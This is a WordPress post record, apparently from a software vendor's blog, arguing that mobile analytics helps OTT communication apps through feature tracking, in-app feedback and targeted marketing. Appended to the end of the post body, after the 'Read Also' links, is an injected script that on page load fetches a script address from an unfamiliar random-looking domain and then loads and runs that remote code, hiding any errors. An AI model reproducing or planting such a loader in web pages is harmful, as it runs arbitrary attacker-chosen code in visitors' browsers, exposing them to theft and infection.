{"id":2141,"date":"2021-06-06T07:39:00","date_gmt":"2021-06-06T07:39:00","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=2141"},"modified":"2025-09-05T11:31:27","modified_gmt":"2025-09-05T11:31:27","slug":"importance-of-mobile-analytics-for-ott-communication-app","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/ott\/importance-of-mobile-analytics-for-ott-communication-app\/","title":{"rendered":"Why Mobile Analytics is Important For An OTT Communication App?"},"content":{"rendered":"<p>Do you know, mobile analytics is an excellent way to track the performance of your OTT communication app? Like every business, collecting feedback from customers and measuring the performance of the mobile app is very important for its success.<br \/>\nTracking your mobile application\u2019s analytics empowers you to make the required modifications\u00a0 so that your OTT Communication app is comparable to the best OTT apps available in the market.<\/p>\n<p>Here are some of the strong reasons for you to consider the importance of Mobile analytics for your OTT app.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4f9754e63\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4f9754e63\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/importance-of-mobile-analytics-for-ott-communication-app\/#1_Track_Which_Features_Your_Customers_Use\" title=\"1. Track Which Features Your Customers Use\">1. Track Which Features Your Customers Use<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/importance-of-mobile-analytics-for-ott-communication-app\/#2_Collect_User_Feedback_from_Your_Mobile_App\" title=\"2. Collect User Feedback from Your Mobile App\">2. Collect User Feedback from Your Mobile App<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/importance-of-mobile-analytics-for-ott-communication-app\/#3_Boost_Your_Marketing_and_Promotional_Efforts\" title=\"3. Boost Your Marketing and Promotional Efforts\">3. Boost Your Marketing and Promotional Efforts<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/importance-of-mobile-analytics-for-ott-communication-app\/#Looking_for_a_Mobile_OTT_Solution\" title=\"Looking for a Mobile OTT Solution?\">Looking for a Mobile OTT Solution?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/importance-of-mobile-analytics-for-ott-communication-app\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/importance-of-mobile-analytics-for-ott-communication-app\/#Which_Mobile_OTT_Features_Let_You_Win_Tough_Market_Competition\" title=\"Which Mobile OTT Features Let You Win Tough Market Competition\">Which Mobile OTT Features Let You Win Tough Market Competition<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/importance-of-mobile-analytics-for-ott-communication-app\/#How_Referral_Marketing_Can_Help_to_Grow_Your_OTT_App\" title=\"How Referral Marketing Can Help to Grow Your OTT App\">How Referral Marketing Can Help to Grow Your OTT App<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"1_Track_Which_Features_Your_Customers_Use\"><\/span>1. Track Which Features Your Customers Use<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>When you launch an OTT app that is rich in features, you will surely want to track your customers\u2019 usage. This doesn\u2019t mean that you will peep into your customer\u2019s data but it\u2019s the most and least used feature you should know about.<br \/>\nSome of the common features include voice calls, video calls, file transfer, mobile top-up, instant messaging, calling packages, VAS content subscription to name a few.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2149\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/06\/Track-Users-of-Mobile-OTT-App.jpg\" alt=\"track users of OTT app\" width=\"600\" height=\"400\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/06\/Track-Users-of-Mobile-OTT-App.jpg 1000w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/06\/Track-Users-of-Mobile-OTT-App-300x200.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/06\/Track-Users-of-Mobile-OTT-App-768x512.jpg 768w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/p>\n<p>Mobile analytics is a very effective way by which you can know how users interact with your OTT app. With mobile app analytics, you can track various events like call times, screen switches, app starts, and more. By tracking the events in your OTT Communication app, you can fine-tune the most used features and identify the features that are least used by your customers. If you have a 3rd party OTT app provider, you can get the required customization and improvements done.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"2_Collect_User_Feedback_from_Your_Mobile_App\"><\/span>2. Collect User Feedback from Your Mobile App<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>To attain success in your Communication Business, it is important to be customer-centric.\u00a0In such a challenging era, in-app feedback can help in understanding user\u2019s viewpoints about your mobile app.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2154 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/06\/customer-feedback.jpg\" alt=\"customer feedback\" width=\"600\" height=\"365\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/06\/customer-feedback.jpg 1280w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/06\/customer-feedback-300x183.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/06\/customer-feedback-768x467.jpg 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/06\/customer-feedback-1024x623.jpg 1024w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/p>\n<p>Using in-app feedback, you can attain the following objectives:<\/p>\n<ul>\n<li>Understand your customers\u2019 expectations and take measures to increase the adoption and popularity of the app<\/li>\n<li>Add new features based on customers suggestions and make improvements to existing ones<\/li>\n<li>Track and take action on user experience and make effort to improve the same.<\/li>\n<\/ul>\n<p>Your OTT app should be compatible with industry-leading mobile analytics platforms Appsflyer, <a href=\"https:\/\/firebase.google.com\/\" target=\"_blank\" rel=\"noopener\">Firebase (Google)<\/a>, and Fabric.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"3_Boost_Your_Marketing_and_Promotional_Efforts\"><\/span>3. Boost Your Marketing and Promotional Efforts<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Digital Marketing is one of the most effective ways to market and promote your app. As a communication provider, you can also leverage your marketing campaigns to nurture and inform your customers about new features and promo offers.<\/p>\n<blockquote><p><strong>For example;<\/strong> if you have launched a voice calling package for the USA, you can release in-app notification and ads to notify your users. You can only take necessary marketing actions, if you are aware which features are mostly used by your customers. Through in-app analytics, if you notice certain growth in USA calling, you can create some good calling packages accordingly.<\/p><\/blockquote>\n<p>By identifying which features your users enjoy, you can strategize and create content around this information. Mobile Analytics for your OTT app helps in customer segmentation based on geographies, devices, gender, language etc.<\/p>\n<p>This empowers businesses to make better decisions and boost their marketing strategy. When you are planning to create an OTT communication app like WhatsApp, Viber, Telegram etc., you need to check with your software provider regarding the analytics feature in the app or its compatibility with 3rd party analytics tools.<\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Looking_for_a_Mobile_OTT_Solution\"><\/span><strong>Looking for a Mobile OTT Solution?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-mobile-ott-solutions#free_demo_form\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span><strong>Read Also<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Which_Mobile_OTT_Features_Let_You_Win_Tough_Market_Competition\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/mobile-ott-features-let-win-tough-market-competition\/\" target=\"_blank\" rel=\"noopener\">Which Mobile OTT Features Let You Win Tough Market Competition<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"How_Referral_Marketing_Can_Help_to_Grow_Your_OTT_App\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/referral-marketing-help-grow-ott-app\/\" target=\"_blank\" rel=\"noopener\">How Referral Marketing Can Help to Grow Your OTT App<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Do you know, mobile analytics is an excellent way to track the performance of your OTT communication app? Like every business, collecting feedback from customers and measuring the performance of the mobile app is very important for its success. Tracking your mobile application\u2019s analytics empowers you to make the required modifications\u00a0 so that your OTT [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":2219,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[75],"tags":[],"class_list":["post-2141","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ott"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2141","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=2141"}],"version-history":[{"count":21,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2141\/revisions"}],"predecessor-version":[{"id":6479,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2141\/revisions\/6479"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/2219"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=2141"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=2141"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=2141"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}